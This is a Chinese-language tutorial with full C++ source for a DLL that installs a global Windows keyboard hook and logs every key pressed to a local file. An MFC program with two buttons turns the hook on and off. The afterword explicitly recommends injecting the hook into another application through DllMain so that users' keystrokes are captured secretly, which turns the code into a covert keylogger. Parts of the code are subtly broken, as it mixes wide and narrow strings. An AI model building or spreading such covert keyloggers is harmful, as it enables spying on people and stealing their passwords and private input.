1 简介
- 工具:VS2019
- 目的:写一个动态链接库(全局键盘钩子的注册和注销),然后在MFC项目中调用,MFC中有两个按钮,一个用于注册全局钩子,一个用于销毁全局钩子。注册全局钩子后,按下键盘的按钮,被按下的按钮会被记录到F:\key.txt 文件中。
- 注意
- 有许多API建议参考微软的官方文档,你会看到很多很重要的东西,尤其是SetWindowsHookExA的官方文档
2 编写DLL动态链接库
- 新建DLL项目
- 不要动建立好的项目中的其他文件
- 在项目中新建Keyboard.cpp文件
- 注意PROJECT_NAME这个宏,要和最后导出的DLL文件名一致
- 关于键盘回调函数
- 为什么要这么写?你需要参考回调函数的官方文档
- 有哪些可以虚拟按键的代号?虚拟键码的官方文档
- 注意
- 2022.05.03日更新,我在QT中重新使用了 SetWindowsHookExW 这个函数发现了几个问题
- 在QT中,键盘监听是WH_KEYBOARD_LL 而不是 WH_KEYBOARD,同理鼠标监听是WH_MOUSE_LL 而不是 WH_MOUSE,如果idHook填错的话,会导致回调函数挂不上。
- 并且要注意,非LL版和LL版的回调函数中对应的参数使用的值的含义是不同的,所以,一定要注意看官方文档。
#include "pch.h"
#include <utility>
#include <limits.h>
#include "Keyboard.h"
#define PROJECT_NAME L"KeyboardDll"
HHOOK g_hHook = NULL;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
if (code < 0 || code == HC_NOREMOVE) {
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
if (lParam & 0x40000000) {
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
char szKeyName[200];
GetKeyNameText(lParam, (LPWSTR)szKeyName, 100);
FILE* fp;
errno_t err = fopen_s(&fp, "F:\\key.txt", "a+");
if (err != 0) {
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
char szWriteText[100];
sprintf_s(szWriteText, "%s\n", szKeyName);
fwrite(szWriteText, 1, strlen(szWriteText), fp);
fclose(fp);
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
BOOL InstallHook() {
g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(PROJECT_NAME), 0);
if (g_hHook == NULL) {
MessageBox(NULL, L"全局钩子注册失败", L"信息", MB_OK);
return FALSE;
}
return TRUE;
}
BOOL UninstallHook() {
return UnhookWindowsHookEx(g_hHook);
}
- 在项目中新建Keyboard.h文件
- 将两个方法导出
- 注意,Keyboard回调函数外界不使用,所以不用导出。
#pragma once
#ifdef MATHLIBRARY_EXPORTS
#define MATHLIBRARY_API __declspec(dllexport)
#else
#define MATHLIBRARY_API __declspec(dllimport)
#endif
#include <iostream>
#include "windows.h"
using namespace std;
extern "C" MATHLIBRARY_API BOOL InstallHook();
extern "C" MATHLIBRARY_API BOOL UninstallHook();
- 在生成解决方案前,注意输出模式,该模式(x64)需要和使用该DLL文件的应用程序对应
- 然后,默认在 解决方案/x64/Release/下可以找到DLL文件

3 在MFC项目中使用
- 在VS2019中,创建MFC项目
- 如果你没有MFC项目的选项,则点击【工具】-【获取工具和功能】
- 选择【使用C++的桌面开发】,还没完,右侧的MFC安装选项可能不会被选中,你需要勾选一下
- 下载完后就好了

- 将上面得到的DLL文件放入MFC项目的根路径下
- 放置两个Button按钮,双击Button按钮,自动创建两个回调函数,一个回调函数注册钩子,一个回调函数销毁钩子
- 我采用显示的方式调用DLL,如果采用隐式的方式会更方便点,只不过需要上面生成的.lib文件
typedef BOOL(*PADD)(void);
void CMFCApplication1Dlg::OnBnClickedButton1()
{
HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");
if (hDLL == NULL) {
MessageBox(L"加载失败");
return;
}
PADD pAdd = (PADD)GetProcAddress(hDLL, "InstallHook");
pAdd();
}
void CMFCApplication1Dlg::OnBnClickedButton2()
{
HMODULE hDLL = LoadLibrary(L"KeyboardDll.dll");
if (hDLL == NULL) {
MessageBox(L"加载失败");
return;
}
PADD pAdd = (PADD)GetProcAddress(hDLL, "UninstallHook");
pAdd();
}
3 后记
- 结合上一篇文章,你可以将钩子函数动态注入到某个应用程序中。也就是把注册全局钩子的DLL中的函数,在DLLMain(DLL的入口方法中调用),这样就可以悄悄地截取到用户输入的键盘信息了。